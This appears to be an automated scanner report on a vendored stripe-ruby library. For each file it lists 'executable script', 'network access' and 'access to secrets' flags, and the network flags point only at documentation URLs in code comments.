packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v2_core_event_destination_ping_event.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/instrumentation.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/list_object.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/multipart_encoder.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # 2388:   #   #     https://tools.ietf.org/html/rfc2388
  • Network accessline 9
    #   #     https://tools.ietf.org/html/rfc2388   #
  • Network accessline 10
    #     https://tools.ietf.org/html/rfc2388

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/oauth.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    raise AuthenticationError, "No client_id provided. "                                     'Set your client_id using "Stripe.client_id = <CLIENT-ID>". '                                     "You can find your client_ids in your Stripe dashboar
  • Network accessline 19
    'Set your client_id using "Stripe.client_id = <CLIENT-ID>". ' \                                    "You can find your client_ids in your Stripe dashboard at " \                                    "https://dashboard.stripe.com/account/applic
  • Network accessline 20
    "You can find your client_ids in your Stripe dashboard at " \                                    "https://dashboard.stripe.com/account/applications/settings, " \                                    "after registering your account as a platfo
  • Network accessline 21
    "https://dashboard.stripe.com/account/applications/settings, " \
  • Network accessline 22
    "after registering your account as a platform. See " \                                    "https://stripe.com/docs/connect/standalone-accounts for details, " \                                    "or email support@stripe.com if you have any 
  • Network accessline 23
    "https://stripe.com/docs/connect/standalone-accounts for details, " \
  • Access to secretsline 44
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/object_types.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 72
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 80
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 979
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1038
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1046
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1069
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1104
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1198
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 1200
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 1241
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 1315
    # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-behavior).
  • Network accessline 1359
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1368
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1377
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1386
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1395
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1404
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1413
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1430
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1450
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1460
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou
  • Network accessline 1503
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 1515
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1523
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1546
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1581
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1631
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1639
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1688
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1690
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1700
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1702
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1752
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1829
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 1831
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 1913
    # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati
  • Network accessline 1915
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1917
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2053
    # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2072
    # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and the business for which you're creating a
  • Network accessline 2074
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).
  • Network accessline 2088
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 68
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 122
    # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](https://stripe.com/docs/api/exter
  • Network accessline 124
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 15
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that displays the last
  • Network accessline 50
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_link_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_login_link_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 32
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 40
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 56
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 91
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 140
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 149
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 158
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 182
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 190
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 282
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 284
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 294
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 296
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 340
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 342
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 352
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 354
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 356
    # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 32
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 40
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 56
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 91
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 140
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 149
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 158
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 182
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 190
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 282
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 284
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 294
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 296
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 340
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 342
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 352
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 354
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 356
    # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_persons_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_reject_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_retrieve_current_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_session_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 72
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 80
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 979
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1038
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1046
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1069
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1104
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1198
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 1200
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 1241
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 1315
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1324
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1333
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1342
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1351
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1360
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1369
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1386
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1406
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1416
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou
  • Network accessline 1459
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 1471
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1479
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1502
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1537
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1587
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1595
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1644
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1646
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1656
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1658
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1708
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1785
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 1787
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 1872
    # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati
  • Network accessline 1874
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1876
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2012
    # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2029
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).
  • Network accessline 2043
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_delete_where_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_find_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_settings_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_settings_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 59
    # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_transaction_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_activate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_archive_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_deactivate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_summary_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

